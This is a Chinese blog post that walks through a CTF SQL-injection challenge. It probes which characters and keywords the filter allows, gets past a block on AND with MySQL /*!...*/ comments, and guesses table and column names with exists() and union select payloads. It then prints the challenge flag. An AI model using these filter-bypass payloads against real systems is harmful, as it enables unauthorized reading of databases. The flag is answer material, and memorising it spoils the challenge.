flag到底过滤了什么东西?

本文介绍了通过SQL注入尝试绕过过滤器的过程,包括测试'、空格、OR和AND关键字的有效性。当AND被过滤后,作者利用MySQL的/*!...*/注释符成功绕过过滤。接着,通过尝试不同的表名如admin、password,最终发现表名是flag。在确定表名后,作者继续猜测列名,经过尝试确认存在列名flag,从而成功获取到敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

解题路径

先提交1试试看:

在这里插入图片描述

发现显示是正常的,然后再提交id=1':

在这里插入图片描述

说明'是可以影响SQL语句的,并没有被过滤掉

然后我们尝试id=1' or ''='发现空格和or关键字都没有被过滤,很好

在这里插入图片描述

再尝试看and关键字,令id=1' and 1=1 or''=':发现报错,将and换成大写也不行,看来是被过滤掉了

接着尝试使用()、/**/、/*!*/等方法绕过,发现/*!关键字*/的方法是可以绕过的:

在这里插入图片描述

于是开始猜测表名:id=' or /*! exists*/ (/*!select*/ * /*!from*/ admin) /*!and*/ ''='表名不存在

这里说一下exists()的用法:查看是否有子返回集,例如上面的一条语句,首先执行的是exists()里面的命令,使用它的结果只有两个:true和false,要么查询所有数据,要么没有数据。

在这里插入图片描述
发现表名错误,那表名不是admin的话,可能是啥?试一下password,也不对,那我怎么知道这表名是什么,呃,,,对了,这里还有一个名字:flag呀,不会是你吧,试一下。
猜测表名为flag,
哎呀,还真是:
在这里插入图片描述
猜测列名存在name:
在这里插入图片描述

使用联合查询看列数:id=' /*!union*/ /*!select*/ 1,2 /*!from*/ flag /*!where*/ ''='

在这里插入图片描述
怎报错那,不应该啊。
哦,,,说明之前回显的name只是我们输入的参数而已

当我们构造id=' /*!union*/ /*!select*/ name /*!from*/ flag /*!where*/ ''='时却显示错误,

name 也不对,那,,,,我再试一下 flag吧!

当构造id=' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ ''='

显示出flag



flag啊,你终于出来了: flag{Y0u_@r3_5O_dAmn_90Od}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值